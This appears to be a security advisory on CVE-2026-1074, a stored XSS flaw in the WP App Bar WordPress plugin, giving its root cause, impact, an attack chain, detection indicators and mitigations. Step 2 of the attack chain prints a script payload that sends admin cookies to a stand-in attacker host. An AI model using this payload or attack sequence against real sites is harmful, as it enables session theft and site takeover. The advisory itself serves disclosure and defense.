CVE-2026-1074: 
WordPress vulnerability analysis and mitigation

CVE-2026-1074 is a Stored Cross-Site Scripting (XSS) vulnerability in the WP App Bar plugin for WordPress, affecting all versions up to and including 1.5. The flaw allows unauthenticated attackers to inject arbitrary web scripts via the app-bar-features parameter, which execute when an administrator accesses the plugin's settings page. It was published on March 7, 2026, and assigned by Wordfence. The vulnerability carries a CVSS v3.1 base score of 7.2 (High) (Red Hat CVE, ENISA EUVD).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), stemming from two compounding weaknesses in the App_Bar_Settings class constructor: insufficient input sanitization and output escaping of the app-bar-features parameter, combined with a missing authorization check. Because no authentication or capability check is enforced before processing the parameter, any unauthenticated network attacker can submit a crafted HTTP request that persists malicious JavaScript into plugin settings. The injected script then executes in the browser of any user (typically an administrator) who visits the plugin's admin settings page (Wordfence, WordPress Trac).

Successful exploitation allows an unauthenticated attacker to persistently inject malicious JavaScript into the WordPress admin interface, which executes in the context of any administrator who views the affected settings page. This can lead to session token theft, credential harvesting, unauthorized administrative actions (such as creating rogue admin accounts or installing malicious plugins), and potential full site compromise. The changed scope (S:C) in the CVSS vector reflects that the impact extends beyond the plugin itself to the broader WordPress environment (ENISA EUVD, Wordfence).

No public exploit code or active in-the-wild exploitation has been reported as of the available data. The EPSS score is approximately 0.061%, indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. However, the unauthenticated nature of the attack (no privileges required, no user interaction needed to inject the payload) lowers the barrier for exploitation significantly (Wordfence, ENISA EUVD).

1. Reconnaissance: Identify WordPress sites running the WP App Bar plugin (version ≤ 1.5) using tools like WPScan, Shodan, or by checking publicly accessible readme.txt files at /wp-content/plugins/wp-app-bar/readme.txt.
2. Craft malicious payload: Prepare a stored XSS payload, e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie;</script>, to be injected via the app-bar-features parameter.
3. Send unauthenticated request: Submit an HTTP POST request to the WordPress admin-ajax endpoint or the plugin's settings handler without any authentication, including the crafted payload in the app-bar-features parameter. No valid nonce or capability is enforced due to the missing authorization check in App_Bar_Settings.
4. Payload persistence: The malicious script is stored in the WordPress database as part of the plugin's settings.
5. Trigger execution: Wait for an administrator to navigate to the WP App Bar settings page in the WordPress admin panel, at which point the stored script executes in their browser context.
6. Achieve objective: Harvest the administrator's session cookies, perform actions on their behalf (e.g., create a backdoor admin account), or redirect them to a phishing page (Wordfence, WordPress Trac).

• Network: Unexpected POST requests to WordPress admin endpoints (e.g., wp-admin/admin-ajax.php or plugin settings URLs) from unauthenticated or unknown IP addresses containing script tags or encoded JavaScript in the app-bar-features parameter.
• Logs: WordPress access logs showing POST requests to plugin settings handlers with unusual or encoded payloads; error logs referencing the App_Bar_Settings class with unexpected input values.
• Database: Presence of <script> tags or JavaScript event handlers (e.g., onerror, onload) in the wp_options table entries associated with the WP App Bar plugin settings.
• Browser/Admin Behavior: Administrators reporting unexpected redirects, pop-ups, or session anomalies when accessing the WP App Bar settings page in the WordPress dashboard.

Users should update the WP App Bar plugin to a version beyond 1.5 that includes a fix for this vulnerability; check the WordPress plugin repository for the latest patched release. As an interim workaround, administrators can deactivate and remove the WP App Bar plugin until a patched version is available. Additionally, implementing a Web Application Firewall (WAF) rule to block requests containing script tags or JavaScript in the app-bar-features parameter can reduce exposure. Restricting access to the WordPress admin area by IP allowlist provides an additional layer of defense (Wordfence, ENISA EUVD).

The vulnerability was reported and assigned by Wordfence, a leading WordPress security firm, and was picked up by several automated CVE tracking and threat intelligence services shortly after publication. RedPacket Security flagged the vulnerability on social media, and it was noted on Bluesky and Mastodon (infosec.exchange) by security community accounts. No major vendor statements or in-depth researcher write-ups beyond the Wordfence advisory have been identified (RedPacket Security, Wordfence).